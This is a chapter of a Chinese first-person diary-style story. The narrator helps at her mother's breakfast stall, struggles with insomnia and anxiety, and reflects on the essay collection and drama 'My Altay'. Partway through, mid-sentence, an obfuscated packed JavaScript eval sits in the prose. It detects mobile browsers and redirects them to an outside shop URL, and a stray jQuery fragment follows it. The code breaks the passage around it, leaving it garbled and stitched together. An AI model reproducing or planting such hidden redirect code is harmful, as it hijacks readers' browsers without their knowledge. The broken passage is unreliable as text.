38
[2025年7月，第27周]
晚上在家，约是妈妈收拾完的时间，我收到一条消息。妈妈转发了一个视频，标题是“下半年第一天，祝你马到成功！”视频中还有“一马当先”，“一顺百顺”的祝福语。
我看得一乐，回了个“窗口探头”的表情。
“钱鹄哥哥属相是马！”
她冷不丁地来这一句，我心中犹如一万匹“草泥马”奔腾而过。
我回了个“狗叫啦！狗叫啦！”的表情包，试图驱散此刻笼罩在周身的荒诞。
凌晨三点醒来，我有些茫然，只当自己憋到了，起来去了趟卫生间。心情低落数天，终于在昨天把大姨妈盼到。即使脑子有些糊，我仍感知到其中的不正常，给自己换了一片卫生巾。
寒暑假住在奶奶家，每逢来月经，奶奶总让我们在床上铺毯子，方便清洗。溪辞常常糊在毯子上，我却自此不在夜间流经血，一直憋到早上。
并非我有意如此，不给他人添麻烦的念头已深入骨髓。我不想给他人添麻烦，亦不想给自己添麻烦。之后，即使在自己家，也是如此。或是早上起床如厕，抑或晚起潜意识再也控制不住。
奶奶待我与溪辞没有不同，即使我俩起了争执，她和爷爷从来不掺合。甚至，她还会给我买水壶和秋衣。虽然我不在她身边长大，她却不时记挂着我。
溪辞选择在竹溪入学，爷爷奶奶随之搬到了大伯母单位分的房子。直至溪辞十岁，爷爷奶奶才搬回齐安老房居住。即使溪辞与奶奶相处更为亲昵，毕竟她是奶奶一手带大的，人非草木，孰能无情。
我回到床上，继续睡觉。半梦半醒间，睡意渐渐散去，点亮屏幕，刚刚四点。
我闭上眼睛，心中有几分焦虑，明明还想接着睡，怎么就自己醒了？我点开呼吸应用，意图缓解几分。
天气渐热，加之心中有些烦躁，临出门，我换上短裤。去到店里，妈妈却以担心热油溅出来为由，禁止我如此着装，要求我回家换回长裤。无力感涌上心头，我无从争辩，想着多一事不如少一事，遵从她的命令。
早上炸完面窝，精神有些不济。我把板凳搬到电动三轮旁，趴在车斗的边边上，眯上一会儿。来人买面窝，我听到声音，睁开眼，视线有些泛白，站起来亦有些发昏。
我强撑精神，把面窝装好，递给顾客。那人面相有些出众，面部肌肉不紧绷，松弛感恰到好处，目光柔和，未曾注意到她的嘴角，却能感知到她面带微笑，让人觉得有几分可亲。
她穿着暗色中式两件套雪纺连衣裙，身形不高，上了年纪，却也没有发胖，衣裳把人衬得端庄大气。我把二维码递给她，收了钱，又坐回小板凳。
到了八点，豆皮还剩两份。
“妈，我把豆皮打包，拿回家当午饭哈！”我实在没有力气做饭了。
“好。”
冲完凉，我躺在床上，仍有睡意，却听得心脏扑通、扑通地跳。
我的睡姿比较别扭，从小到大，我都是趴着睡。这些天，伏案做题，颈椎有些遭不住，我稍稍收敛，尝试侧边躺着。
妈妈纠正过我的睡姿，不仅是趴着的姿势不好，她亦要求朝右边侧睡，给出的理由是减轻心脏的压力。我感受不到朝左和朝右的区别，还觉得她管得太宽。怎样入睡快我就怎么睡，睡醒后人也没有什么不好的感觉。
可现在，我放下手机，朝外侧睡，心脏却扑通得厉害。我改变姿势，朝右侧睡，心脏跳动的动静稍有减小，仍让人觉得不适。
不得已，我平躺在床上，胸腔的跳动这才渐渐平缓。
潜意识一晃神，灵台好似被吊醒，意识亦跟着清明起来，我又醒了。睁开眼睛，我点亮屏幕，闭眼不过一刻钟。我不知该作何感想。我继续闭上眼睛，尝试入睡，半个小时过去，脑子里什么都没想，却没有一刻混沌，连似睡非睡都做不到。
我不再挣扎，从床上起来，脑袋胀胀的，人很有些难受。
嘛，相比之前周末一觉睡到下午都难以清醒，人醒着，多出来的时间正好用来学习，这样我还赚了！我一向会开解自己。
坐到书桌前，我点开课程，心中却有几分惶恐，又说不上来为什么。
我暂停课程，意图让自己感觉好些，点开D站，开始刷短视频。
我很少追综艺，在儒伊上班时，《跑男》播得正热，我和同事一起跟风，周六睡到中午起来，点了外卖，就开始刷《跑男》。这之后，对综艺的了解，就局限于热搜上的宣传，对《Offer》略有耳闻。
我先是刷到《我的阿勒泰》的剪辑，看到这样一段对话。
“你知道，那仁夏牧场这么好，为什么牧民还要不停地转场？”
“因为他们要给夏牧场时间，让它休息。”
“这样子来年的时候呢，牧民才能带着牛羊，更好地回来。”
“给他点时间。”
我无需知道上下文，就有所感触。我一直操之过急。从一个工作换到另一个工作，每每刚适应，便因为一些原因，马不停蹄地去往下一个目的地，身体不知道疲倦，人也未意识到需要休息。直到自己再也扛不住。可即使这样，眼下，我还在奔赴下一个目的地。
《Offer》的一期，导师为学员送上了礼物，《我的阿勒泰》原来改编自同名散文集。
我对这本散文集有些好奇。孟璮推荐过一个读书应用，介绍说上面的书很全，体验也不错。我习惯用Kindle，一个原因是电子书比纸质版要便宜，另一个则是买断制的采用，让我什么时候看都行。可是，Kindle已经退出国内市场了，原先买的书已不支持云端下载。
不得不承认，读书应用的体验不错，尤其是试读这一块。我点开应用，开始读《我的阿勒泰》。
《“小鸟”牌香烟》那章，我看得很是乐呵。尤其是“砰砰”，到现在听到这个名字，第一反应仍是手雷，而“砰砰”，是“妈妈”给“瓶子为手雷形状的白酒”命的名。
黄帝统一华夏；嫘祖始蚕，开启农耕文明；彤鱼石烹，人们不再茹毛饮血；仓颉造字，使万物有其名、万事有其载。
巴别通天塔的傲慢，让
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17301313|198639||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
上帝降下神罚，从此各地人们的语言不同，相互之间无法沟通，自此各散东西。
可大家看到的物品是相同的，一个共通的描述，轻易地就架起了两个民族的桥梁。
“妈妈”的智慧，流淌在每一件不起眼的小事中。
我看过一个视频，讲的是读“唇”、“舌”、“齿”、“喉”、“腹”这几个字，亦会感受到身体的相应部位。“前”、“中”、“后”三个字读起来，亦让人觉得妙哉。“汉字不仅仅是象形文字，发音的设计亦有其特色，”up主这般讲解，亦让我感同身受。
当我读到“砰砰”，脑海中浮现起这个视频。
一不留神，一个小时过去，我听着李娟讲她在阿勒泰的故事，烟火气冲地一下，涌入了我的生活。
可我想象不到，有一天，看散文，居然会让我心神不宁。
骑着摩托车穿越戈壁滩，这本是件好事，不然，乘坐汽车，花钱不说，还得要赶上趟。可戈壁滩那么广阔，看不见任何地标，只有无边无际的风沙，嗖嗖地灌入衣服，迷着眼睛。顺利的时候，也得四五个小时，可若是漏了油，抑或抛了锚，那情形，我想都不敢想。可偏偏，这样的事情，不时就会发生。以上，还是识途老马会遇上的问题。若是在戈壁滩上迷路，“白天还好说，晚上温度会降到零摄氏度左右”，到那时，生存都会出现问题。
“我做不到”，脑海中出现了这个念头。我不认路，我只会在戈壁滩上徘徊至最后一口气；若是事情不顺，没了油，甚至发动机出了故障，我知道问题在哪，却完全不知道解决的办法。
一股巨大的无能为力涌上心头，在空荡的心野上，凛冽、盘旋、咆哮。“我做不到”，这个声音在我的脑海中回荡。“我什么都做不到了”，这个声音一遍遍将这一认知灌输进我的脑袋。
我停止阅读，缓和了许久，转而看剧版《我的阿勒泰》。
文秀喜欢写作，无论何种处境，做服务员，被同事哄骗，回到小卖部帮忙，这些无碍于她想要写作的心。她既不急切，亦不焦躁，生活成为她写作的养料，而笔下的文字，又是她生命的养料。她的理想，是一种信仰，而非现实的依托。在这样的生态环境中，一切循环运转，如雨滴落到地上，池水又蒸腾到空中，自有力量在其中运作。
可我不同，心中是那般迫切，渴望有能力，希冀能成事，我没想过事败的可能，我只怕投入得不够。我无法甘于平凡，荧荧之光远观可赞其生动，身处其中却只觉微弱。即便是此刻，我在早点铺帮工，却非栖息于此处，而是伺机蛰伏。我可以寻找为何，正如过去的那些年，因为我无法展开行动；可我不能停伫不前，我怕那将息未息的心气，在漫长黑夜后、即刻黎明前，忽地化作无从变更的永夜。我赌不起，亦接受无能。
“别到最后你才发觉，心里头的野兽，还没到最终就已经罢休。”
一六年听着这首歌，我从儒伊辞职。此刻，穿越时空的子弹，将要命中我脑门。
我看不完一部剧，正如我读不完一本书。我关闭窗口，从遐想中逃离，获得片刻喘息。